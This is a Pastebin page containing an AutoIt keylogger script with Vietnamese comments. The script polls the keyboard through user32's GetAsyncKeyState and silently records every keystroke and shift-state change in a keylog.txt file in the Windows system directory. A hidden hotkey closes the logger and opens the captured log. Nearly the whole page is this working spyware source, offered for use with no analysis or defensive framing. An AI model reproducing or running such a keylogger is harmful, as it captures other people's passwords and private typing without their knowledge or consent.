Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Opt("SendKeyDelay",150)
- Opt("SendKeyDownDelay",50)
- Global $keyf,$keyup,$ckok=False,$f_path = @SystemDir & "\keylog.txt"
- Global $shdown=True,$shup
- Global $sDateTime = @YEAR & "-" & @MON & "-" & @MDAY &" "&@HOUR & ":" & @MIN & ":" & @SEC
- ;Separate hex and char
- $hex = StringSplit("08,09,0d,10,11,12,13,14,1b,20,21,22,23,24,25,26,27,28,2c,2d,2e," & _
- "30,31,32,33,34,35,36,37,38,39,41,42,43,44,45,46,47,48,49,4a,4b,4c,4d,4e,4f,50,51,52,53,54,55,56,57,58,59,5a," & _
- "ba,bb,bc,bd,be,bf,c0,db,dc,dd,5b,5c", _
- ",")
- $char = StringSplit(" BACKSPACE , TAB , ENTER , SHIFT , CTR , ALT , PAUSE , CAPLOCKS , ESC , SPACE , PAGEUP , PAGEDOWN , END , HOME , LEFT , UP , RIGHT , DOWN , PRINTSCR , INS , DEL ," & _
- "0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z" & _
- " ; , = , dot , - , . , / , ` , [ , \ , ], lWIN , rWIN ", _
- ",")
- ;=>End
- HotKeySet ("^!#{f12}","thoat")
- Func thoat()
- DllClose($dll)
- FileClose($file)
- Run("notepad.exe " & $f_path)
- Exit
- EndFunc
- ;;=> Ket thuc ham
- If Not FileExists($f_path) Then _FileWriteLog($f_path,'')
- $dll = DllOpen("user32.dll")
- $file = FileOpen($f_path, 1)
- If $file = -1 Then
- MsgBox(0, "Loi", "Khong the mo file")
- Exit
- EndIf
- FileWriteLine($file, $sDateTime)
- While 1
- Sleep ( 10 )
- readchar()
- WEnd
- DllClose($dll)
- Func readchar()
- For $i = 1 to $hex[0]
- Select
- Case _IsPressed($hex[$i],$dll)
- If _IsPressed("10", $dll) Then
- if $shdown ==True Then
- FileWrite($file," SHIFTDOWN ")
- Sleep(30)
- $shdown= False
- $shup= True
- EndIf
- Else
- $keyup = $hex[$i]
- checkku()
- writechar($char[$i])
- EndIf
- Case _IsRelease("10", $dll)
- if $shup== True Then
- FileWrite($file," SHIFTUP ")
- Sleep(30)
- $shdown= True
- $shup= False
- EndIf
- EndSelect
- Next
- EndFunc
- Func checkku()
- Do
- If _IsRelease($keyup,$dll) then
- $ckok =True
- EndIf
- Until $ckok =true
- EndFunc
- Func writechar($keyf= "")
- If $file = -1 Then
- MsgBox(0, "Loi", "Khong the mo file.")
- Exit
- EndIf
- If $ckok =true then
- FileWrite($file,$keyf)
- Sleep(10)
- $ckok =False
- EndIf
- EndFunc
- Func _IsPressed($sHexKey, $vDLL = 'user32.dll')
- Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
- If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 1
- Return 0
- EndFunc
- Func _IsRelease($sHexKey, $vDLL = 'user32.dll')
- Local $a_R = DllCall($vDLL, "int", "GetAsyncKeyState", "int", '0x' & $sHexKey)
- If Not @error And BitAND($a_R[0], 0x8000) = 0x8000 Then Return 0
- Return 1
- EndFunc
- Func _FileWriteLog($sLogPath, $sLogMsg, $iFlag = -1)
- Local $sDateNow, $sTimeNow, $sMsg, $iWriteFile, $hOpenFile, $iOpenMode = 1
- $sDateNow = @YEAR & "-" & @MON & "-" & @MDAY
- $sTimeNow = @HOUR & ":" & @MIN & ":" & @SEC
- $sMsg = $sDateNow & " " & $sTimeNow & " : " & $sLogMsg
- If $iFlag <> -1 Then
- $sMsg &= @CRLF & FileRead($sLogPath)
- $iOpenMode = 2
- EndIf
- $hOpenFile = FileOpen($sLogPath, $iOpenMode)
- If $hOpenFile = -1 Then Return SetError(1, 0, 0)
- $iWriteFile = FileWriteLine($hOpenFile, $sMsg)
- If $iWriteFile = -1 Then Return SetError(2, 0, 0)
- Return FileClose($hOpenFile)
- EndFunc ;
Advertisement
Add Comment
Please, Sign In to add comment